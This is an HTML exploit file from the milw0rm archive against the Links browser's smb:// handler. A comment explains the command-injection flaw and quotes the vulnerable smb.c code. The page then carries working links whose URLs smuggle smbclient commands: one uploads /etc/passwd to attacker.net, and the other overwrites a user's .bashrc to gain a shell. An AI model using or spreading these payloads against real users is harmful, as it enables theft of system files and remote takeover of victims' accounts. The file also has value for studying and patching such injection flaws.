477bcbdcc0
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54 lines
2.4 KiB
HTML
Executable file
54 lines
2.4 KiB
HTML
Executable file
<!--
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Links smbclient command execution
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-----------------------------------------------------------------------------
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There is a flaw in the Links web browser, that allows malicious web sites to
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execute smbclient commands on the victim's machine. This flaw makes it
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possible to read any file from the victim system (any file that the user
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running links has read access), or to upload any file to the victim system
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(any file that the user running links can create/overwrite). The attacker
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could, for example, upload ~/.bashrc to gain shell access.
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Version numbers:
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-----------------------------------------------------------------------------
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I tested this on Ubuntu 6.06 LTS and Links 1.00pre12. Smbclient must also
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be installed.
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Vulnerable code:
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-----------------------------------------------------------------------------
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smb_func() in smb.c:
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...
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143 if (*share) {
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144 if (!*dir || dir[strlen(dir) - 1] == '/'
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|| dir[strlen(dir) - 1] == '\\') {
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145 if (dir) {
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146 v[n++] = "-D";
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147 v[n++] = dir;
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148 }
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149 v[n++] = "-c";
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150 v[n++] = "ls";
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151 } else {
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152 unsigned char *ss;
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153 unsigned char *s = stracpy("get
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\"");
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'dir' is the directory part of the smb://.. url:
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154 add_to_strn(&s, dir);
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155 add_to_strn(&s, "\" -");
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156 while ((ss = strchr(s, '/')))
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*ss = '\\';
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157 v[n++] = "-c";
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158 v[n++] = s;
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159 }
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160 }
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161 v[n++] = NULL;
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smbclient is executed:
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162 execvp("smbclient", (char **)v);
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163 fprintf(stderr, "smbclient not found in $PATH");
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164 _exit(1);
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...
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-->
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<html>
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<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit; '>Put /etc/passwd</a>
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<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a>
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</html>
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# milw0rm.com [2006-11-14]
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